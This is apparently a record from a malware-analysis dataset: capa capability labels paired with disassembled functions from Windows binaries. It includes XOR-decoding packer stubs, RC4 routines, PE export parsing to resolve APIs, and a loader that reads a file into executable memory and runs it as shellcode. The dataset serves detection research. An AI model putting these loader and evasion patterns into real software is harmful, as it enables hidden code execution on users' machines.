joyce8/EMBER2024-capa huggingface dataset:
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
nop
mov ecx, 0x7b84724a
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43304e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
mov eax, section..data
nop
nop
mov ebx, 0x4304d8
mov ecx, 0x5183a47
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x433084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x408d51
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ebx
lea ebx, [ebp - 0x244]
sub esp, 0x254
mov dword [esp + 4], 0x104
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push edx
push edx
lea edx, [eax - 1]
cmp edx, 0x103
ja 0x408d8f
xor edx, edx
cmp word [ebp + eax*2 - 0x246], 0x5c
sete dl
jmp 0x408d96
xor eax, eax
mov edx, 1
mov ecx, dword [ebp + 8]
add edx, edx
add eax, eax
add edx, 0x40c6a8
add eax, ebx
mov dword [esp + 4], str._s_S.dll
mov dword [esp + 8], edx
mov dword [esp], eax
mov dword [esp + 0xc], ecx
call dword [sym.imp.USER32.dll_wsprintfW]
mov dword [esp], ebx
mov dword [esp + 8], 8
mov dword [esp + 4], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
sub esp, 0xc
mov ebx, dword [ebp - 4]
leave
ret 4

Function at 0x408f64
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x43a424], 0
push ebp
mov ebp, esp
push esi
push ebx
mov edx, dword [ebp + 0xc]
jne 0x408fa1
xor ecx, ecx
mov eax, ecx
mov ebx, 8
mov esi, eax
and eax, 1
neg eax
shr esi, 1
and eax, 0xedb88320
xor eax, esi
dec ebx
jne 0x408f7e
mov dword [ecx*4 + 0x43a420], eax
inc ecx
cmp ecx, 0x100
jne 0x408f77
mov eax, dword [ebp + 8]
mov ebx, dword [ebp + 0x10]
not eax
add ebx, edx
cmp edx, ebx
je 0x408fc4
inc edx
mov cl, byte [edx - 1]
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x43a420]
jmp 0x408fab
pop ebx
not eax
pop esi
pop ebp
ret 0xc

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x408151
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x408160
pop dword [ebp - 0x2c]
mov eax, 0x408160
sub dword [ebp - 0x2c], eax
push 0x40
push 0x1000
push 0x40c5d
push 0
mov eax, 0xb8288478
add eax, 0x4819cda0
add eax, dword [ebp - 0x2c]
call dword [eax]
mov ecx, 0xaba48f80
add ecx, 0x545bc471
mov ebx, eax
mov esi, 0x19276af6
add esi, 0xe71be90a
add esi, dword [ebp - 0x2c]
mov edi, 0x3685f4bc
sub edi, 0x272a519a
add dword [ebp - 0x24], edi
mov edx, dword [esi]
add dword [ebp - 0x1c], edi
xor edx, edi
add dword [ebp - 4], 0x40bb1db1
mov dword [ebx], edx
xor dword [ebp - 0x1c], 0xbbc147de
add ebx, 0x5cff4f2
sub ebx, 0x5cff4ee
add esi, 0xd442008d
add esi, 0x2bbdff77
loop 0x4081ba
add eax, 0x68ffe622
add eax, 0x97015c75
mov ebx, eax
add eax, 0x41bac188
add eax, 0xbe453e7d
mov ecx, 0x400000
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x10118e5d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x170
mov eax, dword [ebp + 8]
xor ecx, ecx
mov dword [0x1015b584], 0x11bb
mov edx, ecx
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x138], ecx
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x134]
lea edx, section..data
imul esi, ecx, 0x18
mov edi, edx
add edi, esi
add edi, 0x14
mov esi, ecx
add esi, 1
imul ecx, ecx, 0x18
add edx, ecx
add edx, 4
mov ecx, dword [edi]
movzx edx, word [edx]
xor edx, ecx
add edx, eax
cmp esi, 0x23a
mov eax, edx
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x134], esi
mov dword [ebp - 0x138], eax
jne 0x10118e8c
lea eax, str.bF7_a
mov ecx, 0xe
lea edx, [ebp - 0x12c]
mov dword [0x1015b584], 0xfffff0ef
mov dword [esp], edx
mov dword [esp + 4], eax
mov dword [esp + 8], 0xe
mov dword [ebp - 0x140], edx
mov dword [ebp - 0x144], ecx
call fcn.1011958c
mov eax, dword [0x1015b584]
add eax, 0xffffdb0c
mov dword [0x1015b588], eax
mov dword [0x1015b584], 0x1b9e
call fcn.10119434
mov dword [esp], eax
mov eax, dword [ebp - 0x140]
mov dword [esp + 4], eax
call fcn.10118acb
mov ecx, eax
mov dword [0x1015b5a4], eax
mov eax, esp
mov edx, dword [ebp - 0x13c]
mov dword [eax + 4], edx
mov dword [eax + 0xc], 4
mov dword [eax + 8], 0x1000
mov dword [eax], 0
call ecx
sub esp, 0x10
xor ecx, ecx
mov edx, dword [0x1015b584]
add edx, 0xffffec8a
mov dword [0x1015b584], edx
mov edx, ecx
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x14c], edx
mov dword [ebp - 0x150], ecx
mov eax, dword [ebp - 0x150]
mov ecx, dword [ebp - 0x14c]
lea edx, section..data
imul esi, eax, 0x18
mov edi, edx
add edi, esi
imul esi, eax, 0x18
mov ebx, edx
add ebx, esi
add ebx, 4
imul esi, eax, 0x18
add edx, esi
add edx, 0x14
mov esi, dword [ebp - 0x148]
add esi, ecx
add eax, 1
mov edx, dword [edx]
mov edi, dword [edi]
movzx ebx, word [ebx]
xor ebx, edx
mov dword [esp], esi
mov dword [esp + 4], edi
mov dword [esp + 8], ebx
mov dword [ebp - 0x154], eax
mov dword [ebp - 0x158], ecx
mov dword [ebp - 0x15c], ebx
call fcn.10119b6e
mov eax, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0x158]
add eax, ecx
mov edx, dword [ebp - 0x154]
cmp edx, 0x23a
mov dword [ebp - 0x150], edx
mov dword [ebp - 0x14c], eax
jne 0x10118fa7
lea eax, [0x1011b143]
mov ecx, 0x20
lea edx, [ebp - 0x10c]
mov esi, dword [ebp - 0x148]
add esi, 0x48ed0
mov edi, dword [ebp - 0x148]
add edi, 0x10c14
mov dword [0x1015b588], 0xda2
mov dword [esp], edx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x20
mov dword [ebp - 0x160], edi
mov dword [ebp - 0x164], ecx
mov dword [ebp - 0x168], edx
mov dword [ebp - 0x16c], esi
call fcn.1011985b
mov eax, dword [ebp - 0x168]
mov dword [esp], eax
mov ecx, dword [ebp - 0x148]
mov dword [esp + 4], ecx
mov dword [esp + 8], ecx
mov edx, dword [ebp - 0x13c]
mov dword [esp + 0xc], edx
call fcn.10119da9
xor eax, eax
mov ecx, dword [ebp - 0x130]
mov edx, dword [ebp - 0x16c]
mov dword [ecx], edx
mov dword [ecx + 4], 0x147800
mov edx, dword [ebp - 0x160]
mov dword [ecx + 8], edx
mov dword [ecx + 0xc], 0x20c0
mov dword [0x1015b588], 0x1223
add esp, 0x170
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1011917d
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x2c
mov dword [ebp - 0xc], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 0xc], eax
xor ecx, ecx
mov edx, dword [0x1015b588]
add edx, 0xffffd94f
mov dword [0x1015b584], edx
mov esi, dword [ebp - 0xc]
mov esi, dword [esi + 0x10]
mov esi, dword [esi + 0x3c]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
jmp 0x10119227
mov eax, 1
mov dword [0x1015b584], 0xb63
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x24], eax
je 0x101192d4
jmp 0x101192cd
mov eax, dword [ebp - 0x28]
add eax, 0xffffe7d7
mov dword [0x1015b584], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x16], 0x61
je 0x101192a5
jmp 0x101192cd
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x12], 0x64
je 0x101192ba
jmp 0x101192cd
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x18]
mov edx, eax
add edx, 0xffffe3e9
mov esi, dword [ebp - 0x14]
cmp word [esi + ecx*2], 0
mov edi, ecx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x34], edi
je 0x1011926b
mov eax, dword [ebp - 0x2c]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x34], eax
jl 0x10119227
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
mov dword [0x1015b584], ecx
mov edx, dword [ebp - 0x14]
cmp word [edx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x20], eax
jne 0x101192cd
mov dword [0x1015b588], 0x7a0
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x18], 0x6f
je 0x101191ea
jmp 0x101192cd
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x14], 0x64
je 0x1011920f
jmp 0x101192cd
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x10], 0x6c
je 0x101191c0
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x101192d4
mov eax, dword [ebp - 0x24]
add esp, 0x2c
pop esi
pop edi
pop ebp
ret
Function at 0x101192f3
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x38
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
call fcn.10119bed
xor ecx, ecx
mov edx, eax
mov esi, dword [eax + 0x3c]
mov edi, dword [0x1015b584]
add edi, 0x20f3
mov dword [0x1015b584], edi
mov esi, dword [eax + esi + 0x78]
mov edi, edx
add edi, dword [eax + esi + 0x20]
mov dword [0x1015b588], 0x1487
mov eax, dword [eax + esi + 0x18]
cmp eax, 0
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ecx
je 0x1011939b
jmp 0x101193a6
mov eax, dword [ebp - 0x28]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
add edx, dword [edx + esi + 0x1c]
mov ecx, dword [edx + ecx*4]
mov dword [0x1015b584], 0x954
mov edx, dword [ebp - 0x1c]
add edx, ecx
mov dword [ebp - 0x24], edx
jmp 0x1011939b
xor eax, eax
mov ecx, dword [ebp - 0x2c]
add ecx, 1
mov edx, dword [ebp - 0x28]
add edx, 2
mov esi, dword [ebp - 0x18]
cmp ecx, esi
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x34], ecx
jb 0x101193b8
mov eax, dword [ebp - 0x24]
add esp, 0x38
pop esi
pop edi
pop ebx
pop ebp
ret
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x20]
add ecx, dword [ecx + edx + 0x24]
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
xor edx, edx
mov esi, dword [ebp - 0x14]
mov edi, dword [esi + eax*4]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x3c]
mov ecx, eax
mov edx, dword [ebp - 0x38]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x40], eax
mov byte [ebp - 0x41], bh
mov byte [ebp - 0x42], cl
je 0x10119424
mov al, byte [ebp - 0x41]
cmp al, 0
setne cl
mov edx, dword [ebp - 0x40]
add edx, 1
mov ah, byte [ebp - 0x42]
and ah, cl
cmp edx, 0x20
setb cl
and ah, cl
test ah, 1
mov dword [ebp - 0x3c], edx
jne 0x101193d2
mov al, byte [ebp - 0x42]
test al, 1
jne 0x10119350
jmp 0x10119377
Function at 0x1011985b
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x1015b590], 0
mov byte [0x1015b594], 0
mov edi, dword [0x1015b584]
add edi, 0xe84
mov dword [0x1015b588], edi
mov dword [0x1015b58c], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x101198bb
xor eax, eax
mov dword [0x1015b58c], 0
mov dword [ebp - 0x20], eax
jmp 0x101198ed
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov dword [0x1015b588], 0x8b8
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x1015b58c]
add eax, 1
mov dword [0x1015b58c], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x101198bb
jmp 0x101198aa
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [ebp - 0x24], eax
xor edx, edx
mov esi, dword [ebp - 0x10]
div esi
mov dword [0x1015b598], 0
mov edi, dword [0x1015b590]
mov ebx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x24]
movzx esi, byte [ebx + esi]
add esi, edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add esi, edx
mov dword [0x1015b598], esi
mov dword [0x1015b584], 0x233b
mov eax, esi
cdq
idiv ecx
mov dword [0x1015b590], edx
mov ecx, dword [ebp - 0x24]
mov cl, byte [ebx + ecx]
mov byte [0x1015b594], cl
mov cl, byte [ebx + edx]
mov edx, dword [ebp - 0x24]
mov byte [ebx + edx], cl
mov cl, byte [0x1015b594]
mov esi, dword [0x1015b590]
mov byte [ebx + esi], cl
mov esi, dword [0x1015b58c]
add esi, 1
mov dword [0x1015b58c], esi
cmp esi, 0x100
mov dword [ebp - 0x20], esi
jl 0x101198ed
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x101199a3
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x4c
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
lea edx, str.bF7_a
mov esi, 0xe
lea edi, [ebp - 0x28]
mov dword [0x1015b584], 0x1540
mov dword [esp], edi
mov dword [esp + 4], edx
mov dword [esp + 8], 0xe
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x38], esi
call fcn.1011958c
mov dword [0x1015b584], 0x1b9e
call fcn.10119434
mov dword [esp], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
call fcn.10118acb
xor ecx, ecx
cmp eax, 0
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], ecx
jne 0x10119a20
mov eax, dword [ebp - 0x40]
add esp, 0x4c
pop esi
pop edi
pop ebp
ret
mov eax, dword [ebp - 0x3c]
mov dword [0x1015b584], 0x505
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [0x1015b584], 0x1847
mov dword [esp], eax
mov ecx, dword [ebp - 0x2c]
mov dword [esp + 4], ecx
mov dword [ebp - 0x44], eax
call fcn.10118c2c
xor eax, eax
mov ecx, dword [ebp - 0x44]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [0x1015b584], 0x14d0
mov dword [ecx + 0xd0], 0x4550
add ecx, 0xffc00000
mov edx, dword [ebp - 0x30]
mov dword [edx + 0x30], ecx
mov ecx, dword [ebp - 0x44]
mov dword [edx + 0x20], ecx
mov dword [0x1015b588], 0xc82
cmp ecx, 0
mov dword [ebp - 0x40], eax
je 0x10119a16
mov eax, dword [ebp - 0x44]
add eax, 0x217c
mov ecx, dword [0x1015b584]
add ecx, 0x2182
mov dword [0x1015b584], ecx
mov dword [ebp - 0x40], eax
jmp 0x10119a16
Function at 0x10119da9
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x1015b58c], 0
mov dword [0x1015b590], 0
mov dword [0x1015b59c], 0
cmp eax, 0
mov ebx, edi
mov dword [ebp - 0x10], eax
mov eax, edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], edi
je 0x10119f02
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
mov edi, ecx
add edi, 1
add edx, 1
mov dword [0x1015b584], 0x581
mov dword [ebp - 0x2c], eax
mov eax, edx
cdq
idiv esi
mov dword [0x1015b58c], edx
mov dword [0x1015b588], 0x20ec
mov ebx, dword [ebp - 0x20]
movzx ebx, byte [ebx + edx]
mov dword [ebp - 0x30], ecx
mov ecx, dword [ebp - 0x2c]
add ebx, ecx
mov eax, ebx
mov dword [ebp - 0x34], edx
cdq
idiv esi
mov dword [0x1015b590], edx
mov ecx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x34]
mov cl, byte [ecx + esi]
mov byte [0x1015b594], cl
mov dword [0x1015b588], 0x1c17
mov ebx, dword [ebp - 0x20]
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov cl, byte [0x1015b594]
mov edx, dword [0x1015b590]
mov byte [ebx + edx], cl
mov edx, dword [0x1015b58c]
movzx edx, byte [ebx + edx]
mov ecx, dword [0x1015b590]
movzx ecx, byte [ebx + ecx]
add ecx, edx
and ecx, 0xff
mov dword [0x1015b59c], ecx
mov cl, byte [ebx + ecx]
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x30]
xor cl, byte [edx + esi]
mov byte [0x1015b5a0], cl
mov dword [0x1015b584], 0x13d7
mov dword [0x1015b588], 0x1ac9
mov edx, dword [ebp - 0x1c]
mov byte [edx + esi], cl
mov ecx, dword [ebp - 0x10]
cmp edi, ecx
mov dword [ebp - 0x38], edi
je 0x10119f02
mov eax, dword [0x1015b58c]
mov ecx, dword [0x1015b590]
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
jmp 0x10119e02
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10119f0a
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
lea eax, [esp + 0x80]
lea ecx, [esp + 0x20]
mov dword [0x1015b584], 0x895
mov dword [esp], eax
mov dword [esp + 0x1c], ecx
call fcn.10118e5d
lea ecx, [0x10119106]
mov edx, dword [esp + 0x80]
mov dword [esp + 0x64], edx
mov dword [esp + 0x54], 0x147800
mov edx, dword [0x1015b570]
mov dword [esp + 0x20], edx
mov edx, dword [0x1015b574]
mov dword [esp + 0x70], edx
mov edx, dword [0x1015b578]
mov dword [esp + 0x74], edx
mov edx, dword [0x1015b57c]
mov dword [esp + 0x30], edx
mov edx, dword [0x1015b580]
mov dword [esp + 0x60], edx
mov dword [0x1015b588], 0x1d3f
mov dword [0x1015b584], 0x2324
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
mov eax, dword [esp + 0x14]
cmp word [eax], 0x5a4d
mov dword [esp + 0x10], eax
jne 0x10119fc1
mov eax, dword [esp + 0x10]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0xc], ecx
je 0x10119fd5
mov eax, dword [esp + 0x10]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x14], eax
jmp 0x10119f9e
mov eax, dword [esp + 0x10]
mov dword [esp + 0x58], eax
mov dword [0x1015b584], 0x4417
mov dword [0x1015b588], 0x94b
mov ecx, dword [esp + 0xc]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0x78], edx
call fcn.1011917d
xor ecx, ecx
cmp eax, 0
mov dword [esp + 8], ecx
jne 0x1011a03c
lea eax, [esp + 0x20]
mov ecx, dword [esp + 0x88]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.101199a3
mov ecx, esp
lea edx, [esp + 0x20]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 2
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
mov esp, ebp
pop ebp
ret

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..idata
nop
nop
mov ebx, 0x408ecc
mov ecx, 0x2526249
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x21b54478
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x4015ad
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x45007c]
jne 0x4015b7
repz ret
jmp fcn.00401eac

Function at 0x406e0c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x45007c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004044f4
and dword [ebp - 0x14], 0
cmp dword [0x452d8c], 0
mov dword [ebp - 0x18], eax
jne 0x406ebf
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x406f67
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x406f67
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x452d8c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x452d90], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x452d94], eax
call edi
push eax
call esi
mov dword [0x452d9c], eax
test eax, eax
je 0x406ebf
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x452d98], eax
mov eax, dword [0x452d98]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x406f18
cmp dword [0x452d9c], ecx
je 0x406f18
push eax
call esi
push dword [0x452d9c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x406f18
test ebx, ebx
je 0x406f18
call edi
test eax, eax
je 0x406f0f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x406f0f
test byte [ebp - 8], 1
jne 0x406f18
or dword [ebp + 0x10], 0x200000
jmp 0x406f4b
mov eax, dword [0x452d90]
cmp eax, dword [ebp - 0x18]
je 0x406f4b
push eax
call esi
test eax, eax
je 0x406f4b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x406f4b
mov eax, dword [0x452d94]
cmp eax, dword [ebp - 0x18]
je 0x406f4b
push eax
call esi
test eax, eax
je 0x406f4b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x452d8c]
call esi
test eax, eax
je 0x406f67
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x406f69
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004015ad
leave
ret
Function at 0x408da0
Capabilities:
Set console window title

Disassembly:
sub esp, 0x40c
mov eax, dword [0x45007c]
xor eax, esp
mov dword [esp + 0x408], eax
mov eax, dword [0x45d184]
push ebx
mov ebx, dword [0x45ceac]
push edi
mov edi, eax
cmp eax, 0x5dd
jne 0x408dec
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0xc]
push ecx
push 0
lea edx, [esp + 0x1c]
push edx
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ReadEventLogW]
mov eax, dword [0x45d184]
push esi
mov esi, dword [str._AT:]
cmp eax, 0x930
jne 0x408e07
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
mov eax, dword [0x45d184]
mov dword [0x45cea8], esi
pop esi
cmp eax, 0x114e
jne 0x408e30
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov eax, dword [0x45d184]
cmp eax, 0x2f
jne 0x408e4f
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push edi
push ebx
call fcn.00408c60
mov ecx, dword [esp + 0x418]
add esp, 8
pop edi
pop ebx
xor ecx, esp
call fcn.004015ad
add esp, 0x40c
ret